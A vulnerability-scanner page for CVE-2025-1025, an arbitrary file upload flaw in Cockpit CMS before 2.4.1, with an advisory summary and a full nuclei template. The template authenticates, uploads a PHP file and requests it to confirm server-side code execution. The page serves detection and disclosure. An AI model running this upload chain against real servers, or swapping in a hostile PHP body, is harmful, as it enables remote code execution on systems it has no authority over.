CVE-2025-1025· CWE-434
Cockpit < 2.4.1 - Arbitrary File Upload
highseverity
7.5CVSS score
21.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
Versions of the package cockpit-hq/cockpit before 2.4.1 are vulnerable to Arbitrary File Upload where an attacker can use different extensions to bypass the upload filter.
Impact
Attackers can bypass file upload filters to upload malicious PHP files, leading to remote code execution and complete compromise of the Cockpit CMS installation.
Fix
Upgrade to Cockpit version 2.4.1 or later that properly validates file extensions.
How to confirm it
Send: GET /auth/login ; POST /auth/check
Positive when: contains "success\":true" and "\"role\":"
Send: POST /assets/upload
Positive when: contains "\"uploaded\":[\"{{randstr}}.php\"]"
Send: GET /storage/uploads/{{upload_path}}?q={{base64(marker)}}
Positive when: contains "{{marker}}"Run it with nuclei: nuclei -id CVE-2025-1025 -u <target>
The full check
id: CVE-2025-1025
info:
name: Cockpit < 2.4.1 - Arbitrary File Upload
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Versions of the package cockpit-hq/cockpit before 2.4.1 are vulnerable to Arbitrary File Upload where an attacker can use different extensions to bypass the upload filter.
impact: |
Attackers can bypass file upload filters to upload malicious PHP files, leading to remote code execution and complete compromise of the Cockpit CMS installation.
remediation: |
Upgrade to Cockpit version 2.4.1 or later that properly validates file extensions.
reference:
- https://github.com/advisories/GHSA-wp68-xrfg-xvq4
- https://nvd.nist.gov/vuln/detail/CVE-2025-1025
classification:
epss-score: 0.18851
epss-percentile: 0.97312
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2025-1025
cwe-id: CWE-434
metadata:
max-request: 4
verified: true
shodan-query: title:"Cockpit"
tags: cve,cve2025,cockpit,file-upload,rce,intrusive,vuln
flow: http(1) && http(2) && http(3)
variables:
username: "{{username}}"
password: "{{password}}"
marker: "{{randstr_1}}"
http:
- raw:
- |
GET /auth/login HTTP/1.1
Host: {{Hostname}}
- |
POST /auth/check HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=UTF-8
{"auth":{"user":"{{username}}","password":"{{password}}"},"csrf":"{{csrf}}"}
matchers:
- type: word
part: body
words:
- 'success":true'
- '"role":'
condition: and
internal: true
extractors:
- type: regex
name: csrf
group: 1
part: body
regex:
- 'csrf : "(.*?)"'
internal: true
- raw:
- |
POST /assets/upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3lKO5LogRxX0YStI
------WebKitFormBoundary3lKO5LogRxX0YStI
Content-Disposition: form-data; name="folder"
------WebKitFormBoundary3lKO5LogRxX0YStI
Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
Content-Type: text/php
<?php echo base64_decode($_GET["q"]);?>
------WebKitFormBoundary3lKO5LogRxX0YStI--
matchers:
- type: word
part: body
words:
- '"uploaded":["{{randstr}}.php"]'
internal: true
extractors:
- type: json
name: upload_path
part: body
json:
- '.assets[0].path'
internal: true
- raw:
- |
GET /storage/uploads/{{upload_path}}?q={{base64(marker)}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '{{marker}}'References
Use this check only on systems you are authorised to test. Where the data comes from